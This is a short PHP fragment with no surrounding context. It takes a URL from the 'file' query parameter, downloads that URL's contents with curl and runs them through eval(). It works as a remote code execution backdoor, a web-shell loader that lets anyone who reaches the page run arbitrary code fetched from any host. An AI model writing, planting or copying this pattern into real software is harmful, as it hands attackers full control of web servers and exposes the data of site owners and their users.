if (isset($_GET['file']) && !empty($_GET['file'])) {    $file_url = $_GET['file'];    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $file_url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    $code = curl_exec($ch);    curl_close($ch);    if ($code !== false) {        eval("$code ");    }}